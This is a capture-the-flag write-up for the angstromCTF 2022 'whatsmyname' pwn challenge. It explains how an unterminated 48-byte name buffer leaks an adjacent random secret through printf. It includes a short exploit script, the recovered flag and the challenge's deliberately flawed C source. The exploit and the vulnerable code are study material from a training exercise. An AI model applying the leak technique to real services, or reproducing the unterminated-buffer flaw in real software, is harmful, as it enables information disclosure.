summaryrefslogtreecommitdiffstats
path: root/docs/writeups/angstromCTF_2022/whatsmyname.txt
blob: 9fc3fd774c9d84a7c1a18b19cdc6e25654982eb7 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
Can you guess my name?

Category:       pwn (50 points)
Chall author:   JoshDaBosh
Writeup author: malfurious



The problem gives us an ELF binary, it's source code, and a netcat endpoint
hosting the service.   The program asks us for our name, then asks us to guess
it's name, which is initialized to random data gathered from /dev/urandom.

All character buffers are allocated to 48 bytes in size, and all input functions
properly bound memory to avoid buffer overruns.  However, after we enter our
name, the program prints it back to us with a greeting.  Because the two name
strings are adjacent in memory, with the user's name coming first, we can leak
the random service name by filling the user's name buffer completely to avoid
its NULL terminator.

Take note that the output is appended with a "!" character.  I missed this
initially, and spent far too long trying to debug the situation.

Our guess is compared to the real service name with strncmp(name, guess, 48) == 0.

Our guess is read by the binary with scanf("%48s[^\n]", guess).  The '[^\n]'
portion should cause reading to stop at the first newline.  However, this is
redundant with how %s works anyway.  '%s' stops reading its input at _any_
whitespace, including:

    0x20    space
    0x09    horizontal tab
    0x0a    newline
    0x0b    vertical tab
    0x0c    feed
    0x0d    carriage return

This means that sending the correct guess would be impossible on any run where
these 6 bytes were present in the random data.  On a lucky run (lacking any of
the whitespace chars), sending the leaked data will result in the flag being
printed.

actf{i_c0uld_be_l0nely_with_y0u_a21f8611c74b}



Solution (Python/sploit)
------------------------
#!/usr/bin/sploit
from sploit.payload import Payload
from sploit.until import contains
io.logonwrite = True

pref = b'Nice to meet you, '
size = 48

io.write(Payload().rep(b'A', size)())

io.readuntil(contains, pref)
io.read(size) # our name
leak = io.read(size)[:-1] # [-1] to strip the trailing '!'

io.writeline(leak)



Original source (C): whatsmyname.c
----------------------------------
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

static void generate_name(char *str)
{
    FILE *file = fopen("/dev/urandom","r");
        fgets(str, 48, file);
        fclose(file);
}

int main(){
    char yourName[48];
    char myName[48];

    char guess[48];

    setbuf(stdout, NULL);

    generate_name(myName);

    printf("Hi! What's your name? ");

    int n = read(0, yourName, 48);
    if (yourName[n-1] == '\n') yourName[n-1] = '\x00';

    printf("Nice to meet you, %s!\n", yourName);

    puts("Guess my name and you'll get a flag!");

    scanf("%48s[^\n]", guess);

    if (strncmp(myName, guess, 48) == 0){
        char flag[128];

                FILE *file = fopen("flag.txt","r");
                if (!file) {
                    puts("Error: missing flag.txt.");
                    exit(1);
                }

                fgets(flag, 128, file);
                puts(flag);
    }

    puts("Bye!");
    return 0;
}